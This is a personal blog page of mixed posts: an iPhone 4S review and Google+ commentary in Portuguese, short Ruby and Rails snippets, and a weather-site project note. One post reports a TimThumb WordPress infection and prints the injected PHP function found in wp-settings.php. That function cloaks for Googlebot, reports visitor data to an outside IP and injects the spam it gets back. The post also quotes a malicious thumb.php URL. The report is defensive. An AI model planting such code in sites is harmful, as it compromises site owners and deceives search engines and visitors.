iPhone 4S

Comprei o meu iPhone 4S depois de 2 anos a utilizar BlackBerry.

iPhone 4S

Só posso dizer uma coisa, foi a melhor decisão que tomei até hoje relativamente a smartphones. Estive a experimentar Android durante cerca de 2 semanas antes de comprar o iPhone, e é de fato um concorrente à altura.

  • Pontos Positivos
    • iOS, é de fato na minha opinião melhor que o Android. O iOS é mais intuitivo que o Android e embora tenha demorado um par de dias a me habituar depois do Android estou convencido que é um sistema operativo superior.
    • Siri, a assistente pessoal do iPhone é fantástica. É verdade que não faz tudo o que quero, mas depois de a utilizar por um par de dias quando não a tenho já sinto a sua falta.
    • Câmera, wow… a câmera no iPhone é de longe melhor do que qualquer outro equipamento que experimentei.
    • Audio, a qualidade de som no iPhone é espetacular.
  • Pontos Negativos
    • Preço, o iPhone é muito mais caro que os telemóveis Android. Contudo, penso que o preço que se paga é justo pelo equipamento que se recebe. O iPhone é o smartphone mais sólidos que alguma vez segurei, o material tem qualidade e acima de tudo, é lindo!

Instagram

- Luís Ramalho

[project] meteorologia.pt

meteorologia.ptMeteorologia.pt is an ongoing project that has the goal of simplifying the lookup for weather related information in Portugal.

Ruby on Rails is the main technology for the core functionality, and the content comes from TWCi XML Data Feed (The Weather Channel™). Moreover, this content is cached for 210 minutes in accordance to the Data Reception and Display Requirements of TWCi.

Link: http://www.meteorologia.pt *Offline because The Weather Channel™ started to charge for access to the API*

- Luís Ramalho

TimThumb attack now changing wp-settings.php

The TimThumb attack seems to continue, now changing the wp-settings.php file.

This function is added to the end of the file:

function google_bot() {
	$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
	if(!(strpos($sUserAgent, 'google') === false)) {
		if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){
			$ch = curl_init('http://91.196.216.30/bot.php?ip='
.$_SERVER['REMOTE_ADDR'].'&host='.$_SERVER['HTTP_HOST'].'&ua='
.urlencode($_SERVER['HTTP_USER_AGENT']).'&ref='
.$_SERVER['HTTP_REFERER']);
			curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
			curl_setopt($ch, CURLOPT_HEADER, 0);
			curl_setopt($ch, CURLOPT_TIMEOUT, 10);
			$re = curl_exec($ch);
			curl_close($ch);
			echo $re;
		}
	}
}
add_action('wp_footer', 'google_bot');

According to WordPress API that will add the output of the function ‘google_bot’ to the bottom of your site. The output is 2 lines of SPAM that come from this URL: http:// 91.196.216.30 / bot.php

They all seem to point to 2 websites:

  • albertasportswear .com
  • bettyoctopus .com

Recent Updates

  1. 24.08.2010: Some blogs got the wp-config.php modified.
  2. After reinstalling, I still got this PHP Warning: parse_url(/wp-content/themes/Boutique/thumb.php?src=http://blogger.com.bloggera[dot]net/images.php) [<a href='function.parse-url'>function.parse-url</a>]: Unable to parse URL in /MY_WEBSITE_PATH/wp-content/plugins/permalink-editor/index.php on line 235

- Luis Ramalho

[WordPress] Timthumb Security Vulnerability

Just a quick note for anyone infected by the latest “mass infection of WordPress sites due to TimThumb” ( counter-wordpress dot com ) — all the information you basically need to clean your website is provided by the amazing team at sucuri.net

Please check their blog post for more details.

Make sure that you confirm using their tool sitecheck.sucuri.net that your website is clean. Also, if it is clean don’t forget to go to google webmaster tools and request that your website is removed from the “infected with malicious software” list so that the warning page is removed and your blog gets unblacklisted.

- Luís Ramalho

[Ruby] How to open image on Windows with Base64 Encoding

If you want to open an image using Base64 on Windows make sure you add “rb” as second parameter.

Base64.new(open("#{image.path}", "rb").read)

That is the difference betweent getting:

[...] or getting:

# Upload from an URL

Base64.new(open("#{image.url}", "rb").read),

# If you are using XML-RPC

XMLRPC::Base64.new(open("#{image.path}", "rb").read)

- Luís Ramalho

How to invert a hash in Ruby and not overwriting repeated keys.

Ruby has a method called invert() for hashes, but it overwrites the repeated keys. Example

hash_of_ones = {"one"=>1, "uno"=>1, "um"=>1}
hash_of_ones.invert
=> {1 => "one"}

This means that

hash != hash.invert.invert

It simply overwrites the other values, which in most cases is not what you want. To solve this problem Tilo Sloboda came up with an interesting solution, I just put here his code in form of a method.

def inverse(hash)
  i = Hash.new
  hash.each_pair{ |k,v|
      if (v.class == Array)
          v.each{ |x|
            if i.has_key?(x)
               i[x] = [k,i[x]].flatten
            else
               i[x] = k
            end
          }
      else
		if i.has_key?(v)
	   		i[v] = [k,i[v]].flatten
		else
	   		i[v] = k
		end
     end
  }
  return i
end

All credit and thanks to http://www.unixgods.org/~tilo/Ruby/invert_hash.html

- Luís Ramalho

Ruby on Rails simple html form calculator

This is a simple calculator in ruby on rails that submits itself to perform an addition.

home_controller.rb

  def index
	@result = ''
  end
  def calculate
  	@result = params[:f].to_i + params[:s].to_i
  	render :action => :index
  end

index.html.erb

<%= form_tag('/calculate') do %>
	<%= text_field_tag(:f) %>
	<%= label_tag(:f, "First Number") %><br />
	<%= text_field_tag(:s) %>
	<%= label_tag(:s, "Second Number") %><br />
	<%= text_field_tag(:r) %>
	<%= text_field_tag(:r, @result, :disabled => true) %>
	<%= submit_tag("Calculate") %>
<% end %>

routes.rb

match 'calculate' => 'home#calculate'

- Luís Ramalho

Olá Google+, adeus Facebook e Hi5

O Google+ é a uma aposta da Google nas redes sociais e depois do fracasso do Google Wave creio que o G+ tem potencial para competir diretamente com o Facebook, que por sua vez também já tinha destronado o Hi5 em Portugal. Acredito que irá ser uma competição que só irá favorecer o utilizador final, pois irá gerar inovação a um ritmo mais acelerado.

A principal inovação que a Google trouxe às redes sociais foi o conceito de “círculos”, neles podemos colocar os diferentes grupos de pessoas que fazem parte da nossa vida, desde família, amigos, conhecidos e pessoas que queremos seguir como padrão. Depois podemos criar mais círculos para diferentes pessoas que não se encaixam nestas definições. Esta é uma inovação que representa o que acontece no mundo real e que o Facebook falhou em implementar.

O G+ faz muito mais sentido e posso dar um bom exemplo, eu não quero partilhar com os meus “conhecidos” coisas de família, nem partilhar coisas de Computer Science com amigos que não têm qualquer interesse no assunto. Como tal, os círculos ajudam-me a selecionar diferentes grupos para enviar ou partilhar certa e determinada informação.

A outra inovação de que quero falar é o conceito de “seguidor” que é o ponto forte do twitter mas que o Google+ leva a outra dimensão, isto porque deixamos de estar limitados a 140 caracteres e podemos partilhar muito mais, por exemplo a partilha de álbuns com os nossos seguidores.

O último conceito, é o de “encontros”… onde podemos interagir com os nossos contactos de uma forma que nunca antes experienciei. Podemos partilhar vídeo e voz e encontrarmo-nos com 25 ou menos pessoas, aqui poderemos navegar na Internet, partilhar vídeos tal como se estivéssemos ao vivo com alguém. Adorei!

Google Encontros Luís Ramalho

Recomendo sem dúvida que experimentem o Google+, se precisarem de convites deixem-me um comentário com o vosso email.

- Luís Ramalho